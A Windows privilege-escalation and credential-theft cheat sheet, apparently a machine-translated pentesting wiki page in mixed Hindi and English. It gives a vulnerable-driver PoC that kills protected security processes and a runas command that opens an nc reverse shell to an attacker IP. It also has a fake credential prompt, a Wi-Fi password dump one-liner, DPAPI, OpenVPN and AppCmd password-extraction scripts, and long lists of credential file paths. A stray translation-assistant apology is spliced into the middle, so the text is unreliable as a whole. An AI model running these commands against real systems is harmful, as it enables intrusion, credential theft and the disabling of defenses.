कुछ signed third‑party drivers अपने device object को मजबूत SDDL के साथ IoCreateDeviceSecure के जरिए बनाते हैं लेकिन DeviceCharacteristics में FILE_DEVICE_SECURE_OPEN सेट करना भूल जाते हैं। इस flag के बिना, secure DACL उस समय लागू नहीं होता जब डिवाइस को ऐसे path से खोला जाता है जिसमें एक अतिरिक्त component हो, जिससे कोई भी unprivileged user निम्नलिखित namespace path का उपयोग करके handle प्राप्त कर सकता है:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

एक बार user device को खोल सके, driver द्वारा expose किए गए privileged IOCTLs का दुरुपयोग LPE और tampering के लिए किया जा सकता है। वास्तविक दुनिया में देखी गई उदाहरण क्षमताएँ:

  • arbitrary processes को full-access handles वापस करना (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • अनियंत्रित raw disk read/write (offline tampering, boot-time persistence tricks).
  • arbitrary processes को terminate करना, जिनमें Protected Process/Light (PP/PPL) शामिल हैं, जिससे user land से kernel के माध्यम से AV/EDR kill संभव हो जाता है.

Minimal PoC pattern (user mode):

c
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigations for developers

  • जब आप ऐसे device objects बनाते हैं जिन्हें DACL द्वारा सीमित किया जाना है तो हमेशा FILE_DEVICE_SECURE_OPEN सेट करें।
  • privileged operations के लिए caller context को validate करें। process termination या handle returns की अनुमति देने से पहले PP/PPL चेक जोड़ें।
  • IOCTLs (access masks, METHOD_*, input validation) को सीमित करें और सीधे kernel privileges के बजाय brokered models पर विचार करें।

Detection ideas for defenders

  • संदिग्ध device names (e.g., \ .\amsdk*) की user-mode opens और दुरुपयोग का संकेत देने वाली विशिष्ट IOCTL sequences की निगरानी करें।
  • Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) लागू करें और अपनी खुद की allow/deny lists बनाए रखें।

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Check permissions of all folders inside PATH:

bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

इस चेक का दुरुपयोग कैसे करें, इसके बारे में अधिक जानकारी के लिए:

Writable Sys Path +Dll Hijacking Privesc

नेटवर्क

शेयर

bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

hosts file में hardcoded अन्य ज्ञात कंप्यूटरों की जाँच करें

type C:\Windows\System32\drivers\etc\hosts

नेटवर्क इंटरफ़ेस और DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

खुले पोर्ट

बाहरी से प्रतिबंधित सेवाएँ की जाँच करें

bash
netstat -ano #Opened ports?

रूटिंग टेबल

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP तालिका

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Rules

Check this page for Firewall related commands (रूल सूचीबद्ध करना, रूल बनाना, बंद करना, बंद करना...)

अधिक commands for network enumeration here

Windows Subsystem for Linux (wsl)

bash
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

बाइनरी bash.exe को C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe में भी पाया जा सकता है

यदि आप root user प्राप्त कर लेते हैं तो आप किसी भी पोर्ट पर सुन सकते हैं (पहली बार जब आप किसी पोर्ट पर सुनने के लिए nc.exe का उपयोग करेंगे, तो यह GUI के माध्यम से पूछेगा कि nc को firewall द्वारा अनुमति दी जानी चाहिए या नहीं)।

bash
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

रूट के रूप में bash आसानी से शुरू करने के लिए, आप --default-user root आज़मा सकते हैं

आप WSL filesystem को फ़ोल्डर C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ में एक्सप्लोर कर सकते हैं

Windows Credentials

Winlogon Credentials

bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault सर्वरों, वेबसाइटों और अन्य प्रोग्रामों के लिए उपयोगकर्ता क्रेडेंशियल्स को स्टोर करता है जिन्हें Windows स्वचालित रूप से उपयोगकर्ताओं को लॉग इन करवा सकता है। पहली नज़र में ऐसा लग सकता है कि उपयोगकर्ता अपने Facebook, Twitter, Gmail आदि के क्रेडेंशियल्स यहाँ स्टोर कर सकते हैं ताकि वे ब्राउज़र के माध्यम से स्वतः लॉग इन हो जाएँ। लेकिन ऐसा नहीं है।

Windows Vault उन क्रेडेंशियल्स को स्टोर करता है जिनके द्वारा Windows उपयोगकर्ताओं को स्वचालित रूप से लॉग इन कर सकता है, जिसका मतलब है कि कोई भी Windows application जो किसी resource तक पहुँचने के लिए credentials की आवश्यकता रखता है (server या a website) इस Credential Manager का उपयोग कर सकता है & Windows Vault और उपयोगकर्ताओं द्वारा बार-बार username और password डालने के बजाय उपलब्ध कराए गए क्रेडेंशियल्स का उपयोग कर सकता है।

जब तक एप्लिकेशन Credential Manager के साथ इंटरैक्ट नहीं करते, मुझे नहीं लगता कि वे किसी दिए गए resource के लिए क्रेडेंशियल्स का उपयोग कर पाएंगे। इसलिए, यदि आपका एप्लिकेशन vault का उपयोग करना चाहता है, तो इसे किसी न किसी तरह से डिफ़ॉल्ट storage vault से credential manager के साथ संवाद करके उस resource के लिए credentials का अनुरोध करना चाहिए।

मशीन पर संग्रहीत क्रेडेंशियल्स की सूची देखने के लिए cmdkey का उपयोग करें।

bash
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

फिर आप सहेजे गए credentials का उपयोग करने के लिए runas को /savecred विकल्प के साथ चला सकते हैं। निम्नलिखित उदाहरण SMB share के माध्यम से रिमोट binary को कॉल कर रहा है।

bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

प्रदान किए गए credential सेट के साथ runas का उपयोग।

bash
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Note करें कि ये क्रेडेंशियल्स mimikatz, lazagne, credentialfileview, VaultPasswordView, या Empire Powershells module से निकाले जा सकते हैं।

DPAPI

The Data Protection API (DPAPI) डेटा के सममित एन्क्रिप्शन के लिए एक तरीका प्रदान करता है, जिसका उपयोग मुख्यतः Windows ऑपरेटिंग सिस्टम के भीतर असिमेट्रिक प्राइवेट कीज़ के सममित एन्क्रिप्शन के लिए किया जाता है। यह एन्क्रिप्शन एंट्रॉपी में महत्वपूर्ण योगदान देने के लिए उपयोगकर्ता या सिस्टम सीक्रेट का उपयोग करता है।

DPAPI उपयोगकर्ता के लॉगिन सीक्रेट्स से व्युत्पन्न एक symmetric key के माध्यम से कुंजियों के एन्क्रिप्शन को सक्षम करता है। सिस्टम-एन्क्रिप्शन की परिस्थितियों में, यह सिस्टम के domain authentication secrets का उपयोग करता है।

DPAPI का उपयोग करके encrypted user RSA keys %APPDATA%\Microsoft\Protect\{SID} डायरेक्टरी में संग्रहीत होते हैं, जहाँ {SID} उपयोगकर्ता के Security Identifier का प्रतिनिधित्व करता है। DPAPI key, जो उसी फ़ाइल में उपयोगकर्ता की private keys की सुरक्षा करने वाले master key के साथ सह-स्थित होती है, आमतौर पर 64 bytes की random data होती है। (यह ध्यान देने योग्य है कि इस डायरेक्टरी तक पहुँच restricted है, इसलिए CMD में dir कमांड द्वारा इसकी सामग्री सूचीबद्ध नहीं की जा सकती, हालाँकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)।

bash
Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

आप उपयुक्त arguments (/pvk or /rpc) के साथ mimikatz module dpapi::masterkey का उपयोग करके इसे decrypt कर सकते हैं।

आम तौर पर master password द्वारा सुरक्षित credentials फ़ाइलें निम्न स्थानों पर स्थित होती हैं:

bash
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt.
You can extract many DPAPI masterkeys from memory with the sekurlsa::dpapi module (if you are root).

DPAPI - Extracting Passwords

PowerShell क्रेडेंशियल्स

PowerShell क्रेडेंशियल्स का अक्सर उपयोग scripting और automation tasks के लिए किया जाता है ताकि encrypted credentials को सुविधाजनक तरीके से store किया जा सके। ये credentials DPAPI द्वारा सुरक्षित होते हैं, जिसका सामान्यतः मतलब है कि इन्हें केवल वही user और वही computer ही decrypt कर सकता है जिन पर इन्हें बनाया गया था।

फाइल में मौजूद PS credentials को decrypt करने के लिए आप यह कर सकते हैं:

bash
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

वाईफ़ाई

bash
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

सहेजे गए RDP कनेक्शन

आप इन्हें HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
और HKCU\Software\Microsoft\Terminal Server Client\Servers\

हाल ही में चलाए गए कमांड

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

रिमोट डेस्कटॉप क्रेडेंशियल मैनेजर

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files
आप उपयुक्त /masterkey के साथ Mimikatz dpapi::rdg मॉड्यूल का उपयोग करके किसी भी .rdg फाइल को decrypt कर सकते हैं।
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module
आप मेमोरी से कई DPAPI masterkeys को extract करने के लिए Mimikatz sekurlsa::dpapi मॉड्यूल का उपयोग कर सकते हैं।

Sticky Notes

People often use the StickyNotes app on Windows workstations to save passwords and other information, not realizing it is a database file. This file is located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite and is always worth searching for and examining.
लोग अक्सर Windows वर्कस्टेशनों पर StickyNotes ऐप का उपयोग save passwords और अन्य जानकारी सहेजने के लिए करते हैं, यह समझे बिना कि यह एक database file है। यह फ़ाइल C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite में स्थित है और हमेशा इसे खोजकर और जांचने लायक होता है।

AppCmd.exe

Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory.
यदि यह फ़ाइल मौजूद है तो संभव है कि कुछ credentials कॉन्फ़िगर किए गए हों और उन्हें recovered किया जा सके।

This code was extracted from PowerUP:

bash
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

जांचें कि C:\Windows\CCM\SCClient.exe मौजूद है .
इंस्टॉलर SYSTEM privileges के साथ चलाए जाते हैं, और कई DLL Sideloading (जानकारी https://github.com/enjoiz/Privesc).

bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

फ़ाइलें और रजिस्ट्री (Credentials)

Putty Creds

bash
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Host Keys

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys रजिस्ट्री में

SSH private keys रजिस्ट्री key HKCU\Software\OpenSSH\Agent\Keys के अंदर स्टोर हो सकते हैं, इसलिए आपको जांचना चाहिए कि वहाँ कुछ दिलचस्प है या नहीं:

bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

यदि आपको उस पथ के अंदर कोई एंट्री मिलती है तो वह संभवतः एक saved SSH key होगी। यह encrypted रूप में संग्रहीत है लेकिन इसे आसानी से decrypted किया जा सकता है using https://github.com/ropnop/windows_sshagent_extract.
इस तकनीक के बारे में अधिक जानकारी यहाँ: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

यदि ssh-agent सर्विस चल नहीं रही है और आप चाहते हैं कि यह बूट पर स्वतः शुरू हो, तो चलाएँ:

bash
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

tip

ऐसा लगता है कि यह technique अब मान्य नहीं है। मैंने कुछ ssh keys बनाए, उन्हें ssh-add से जोड़ा और ssh के माध्यम से एक मशीन में login किया। रेजिस्ट्री HKCU\Software\OpenSSH\Agent\Keys मौजूद नहीं है और procmon ने asymmetric key authentication के दौरान dpapi.dll के उपयोग की पहचान नहीं की।

बिना देखरेख वाली फ़ाइलें

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

आप इन फाइलों को metasploit का उपयोग करके भी खोज सकते हैं: post/windows/gather/enum_unattend

उदाहरण सामग्री:

xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM बैकअप

bash
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

क्लाउड क्रेडेंशियल्स

bash
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

एक फ़ाइल खोजें जिसका नाम SiteList.xml हो

Cached GPP Pasword

एक फीचर पहले मौजूद था जो Group Policy Preferences (GPP) के माध्यम से मशीनों के समूह पर कस्टम लोकल administrator खाते डिप्लॉय करने की अनुमति देता था। हालांकि, इस विधि में महत्वपूर्ण सुरक्षा कमजोरियाँ थीं। सबसे पहले, Group Policy Objects (GPOs), जो SYSVOL में XML फ़ाइलों के रूप में स्टोर होते हैं, किसी भी डोमेन उपयोगकर्ता द्वारा एक्सेस किए जा सकते थे। दूसरे, इन GPPs के भीतर के passwords, जो AES256 से एन्क्रिप्टेड थे और एक publicly documented default key का उपयोग करते थे, किसी भी प्रमाणीकृत उपयोगकर्ता द्वारा डीक्रिप्ट किए जा सकते थे। यह एक गंभीर जोखिम था, क्योंकि इससे users को elevated privileges मिल सकते थे।

इस जोखिम को कम करने के लिए, एक फ़ंक्शन विकसित किया गया था जो स्थानीय रूप से cached GPP फ़ाइलों को स्कैन करता है जिनमें एक "cpassword" field होता है जो खाली नहीं है। ऐसी फ़ाइल मिलने पर, फ़ंक्शन password को decrypt करता है और एक custom PowerShell object लौटाता है। यह object GPP और फ़ाइल के स्थान के बारे में विवरण शामिल करता है, जो इस सुरक्षा कमजोरी की पहचान और निवारण में मदद करता है।

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

To decrypt the cPassword:

bash
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

crackmapexec का उपयोग करके passwords प्राप्त करना:

bash
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

web.config के साथ credentials का उदाहरण:

xml
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN क्रेडेंशियल्स

csharp
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

लॉग्स

bash
# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

credentials के लिए पूछें

यदि आपको लगता है कि वह उन्हें जान सकता है, तो आप हमेशा उपयोगकर्ता से उसके credentials दर्ज करने के लिए कह सकते हैं या यहाँ तक कि किसी अन्य उपयोगकर्ता के credentials भी माँग सकते हैं (ध्यान दें कि क्लाइंट से सीधे credentials माँगना वास्तव में जोखिम भरा है):

bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

संभावित फ़ाइल नाम जिनमें credentials शामिल हो सकते हैं

ज्ञात फ़ाइलें जिनमें कुछ समय पहले passwords clear-text या Base64 में मौजूद थे

bash
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

माफ़ करें — मेरे पास प्रोजेक्ट फाइलों तक सीधा एक्सेस नहीं है। कृपया "src/windows-hardening/windows-local-privilege-escalation/README.md" की सामग्री यहाँ पेस्ट करें या बताएं किन फाइलों को मैं खोजूं/अनुवाद करूं, तब मैं आगे बढ़ता हूँ।

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

RecycleBin में Credentials

आपको Bin को भी जांचना चाहिए कि इसके अंदर credentials मौजूद तो नहीं

कई प्रोग्रामों द्वारा सहेजे गए पासवर्ड को recover करने के लिए आप उपयोग कर सकते हैं: http://www.nirsoft.net/password_recovery_tools.html

Registry के अंदर

अन्य संभावित registry keys जिनमें credentials हो सकते हैं

bash
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

ब्राउज़र इतिहास

You should check for dbs where passwords from Chrome or Firefox are stored.
साथ ही ब्राउज़रों के history, bookmarks और favourites की भी जाँच करें क्योंकि वहाँ शायद कुछ passwords are स्टोर हो सकते हैं।

Tools to extract passwords from browsers:

COM DLL Overwriting

Component Object Model (COM) Windows ऑपरेटिंग सिस्टम के भीतर निर्मित एक तकनीक है जो विभिन्न भाषाओं के सॉफ़्टवेयर components के बीच पारस्परिक संचार (intercommunication) की अनुमति देती है। प्रत्येक COM component को class ID (CLSID) के जरिए पहचाना जाता है और प्रत्येक component एक या अधिक interfaces के माध्यम से functionality expose करता है, जिन्हें interface IDs (IIDs) द्वारा पहचाना जाता है।

COM classes और interfaces को registry में HKEY\CLASSES\ROOT\CLSID और HKEY\CLASSES\ROOT\Interface के अंतर्गत परिभाषित किया जाता है। यह registry HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes को मर्ज करके बनाया जाता है = HKEY\CLASSES\ROOT.

इस registry के CLSIDs के अंदर आप child registry InProcServer32 पा सकते हैं जो एक default value रखता है जो एक DLL की ओर इशारा करता है और एक value होती है जिसका नाम ThreadingModel होता है जो Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) या Neutral (Thread Neutral) हो सकती है।

सिद्धांततः, अगर आप उन किसी भी DLLs को overwrite any of the DLLs कर सकें जो execute होने वाले हैं, तो आप escalate privileges कर सकते हैं अगर वह DLL किसी दूसरे user द्वारा execute किया जा रहा हो।

To learn how attackers use COM Hijacking as a persistence mechanism check:

COM Hijacking

Generic Password search in files and registry

Search for file contents

bash
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

किसी विशिष्ट फ़ाइलनाम वाली फ़ाइल खोजें

bash
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

रजिस्ट्री में key names और passwords खोजें

bash
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Tools जो passwords खोजते हैं

MSF-Credentials Plugin is a msf plugin। मैंने यह plugin बनाया है ताकि यह automatically execute every metasploit POST module that searches for credentials victim के अंदर चलाए।
